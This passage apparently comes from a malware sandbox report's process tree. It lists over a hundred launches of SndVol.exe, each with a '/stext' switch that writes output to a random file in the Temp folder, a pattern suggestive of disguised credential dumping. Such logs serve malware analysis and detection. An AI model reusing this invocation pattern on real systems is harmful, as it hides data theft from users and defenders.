C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4744

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4752

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4760

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4768

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4776

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4784

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4792

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4800

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4808

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4816

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4824

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4832

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4840

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4848

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4856

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4864

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4872

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4880

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4888

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4896

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4904

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4912

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4920

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4928

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4936

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4944

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4952

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4960

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4968

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4976

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4984

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4992

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5000

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5008

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5016

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5024

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5032

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5040

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5048

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5056

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5064

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5072

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5080

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5088

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5096

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5104

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5112

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:4204

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:1724

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5008

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5128

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5136

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5144

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5152

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5160

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5168

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5176

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5184

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5192

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5200

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5208

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5216

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5224

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5232

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5240

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5248

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5256

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5264

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5272

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5280

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5288

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5296

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5304

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5312

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5320

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5328

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5336

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5344

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5352

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5360

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5368

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5376

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5384

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5392

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5400

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5408

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5416

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5424

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5432

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5440

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5448

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5456

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5464

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5472

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5480

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5488

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5496

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5504

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5512

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5520

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5528

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5536

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5544

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5552

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5560

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5568

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5576

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5584

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5592

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5600

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5608

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5616

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5624

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5632

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5640

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5648

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5656

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5664

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5672

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5680

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5688

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5696

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5704

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5712

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5720

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5728

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5736

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5744

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5752

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5760

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5768

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5776

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5784

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5792

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5800

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5808

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5816

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5824

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5832

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5840

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5848

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5856

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5864

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5872

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5880

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5888

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5896

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5904

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5912

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5920

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5928

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5936

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5944

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5952

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5960

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5968

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5976

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5984

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5992

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6000

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6008

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6016

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6024

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6032

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6040

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6048

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6056

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6064

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6072

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6080

C:\Windows\SysWOW64\SndVol.exe
